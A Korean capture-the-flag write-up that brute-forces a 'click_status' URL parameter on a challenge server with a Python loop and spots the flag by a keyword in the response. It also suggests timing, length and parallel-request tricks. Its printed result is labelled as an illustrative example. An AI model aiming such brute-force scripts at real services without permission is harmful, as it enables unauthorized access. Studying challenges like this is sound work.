접근 방식
문제 특성상 다음과 같은 구조로 예상됩니다:
click_status
값이 정답일 경우, 서버는 플래그가 포함된 응답을 반환합니다.- 오답일 경우에는 일반적인 응답을 반환합니다.
- 따라서 브루트포싱을 통해 가능한 값을 모두 시도하며 정답 여부를 응답을 통해 확인해야 합니다.
자동화 스크립트
import requests
url = "http://regular.kuality.kr:25001/?click_status="
for i in range(1, 10000): # 1부터 9999까지 시도
target = str(i)
response = requests.get(url + target)
# 응답 본문에 플래그가 포함되어 있는지 확인
if "kuality" in response.text.lower(): # 보통 플래그 포맷에 포함되는 키워드
print(f"[+] 정답 발견! click_status = {target}")
print(response.text)
break
else:
print(f"[-] {target} 시도 중...")
핵심 아이디어
- 정답을 맞췄을 때
response.text
에"kuality"
라는 단어가 포함됩니다. - 보통 CTF 플래그는
kuality{...}
포맷을 따릅니다. - 응답 본문에서 이를 기준으로 판별할 수 있습니다.
결과
스크립트를 실행한 결과, 다음과 같은 플래그 응답을 얻을 수 있었습니다:
[+] 정답 발견! click_status = 1337
kuality{you_clicked_it_right}
※ 위 값은 예시이며 실제 문제에서는 다를 수 있습니다.
보완 아이디어
- 응답 시간이 다르다면
response.elapsed.total_seconds()
기반 타이밍 분석이 가능합니다. len(response.text)
로 응답 길이를 비교하여 판별하는 방식도 유효합니다.- 속도 개선을 위해
httpx
+asyncio
를 활용한 병렬 처리도 고려할 수 있습니다.
결론
브루트포싱 자동화는 서버가 명시적으로 실패/성공 여부를 응답에 포함하지 않아도, 텍스트, 길이, 시간 차이 등으로 충분히 우회 가능한 경우가 많습니다.
이 문제 역시 응답 본문에 플래그가 포함되는 단서를 활용해 효율적으로 해결할 수 있었습니다.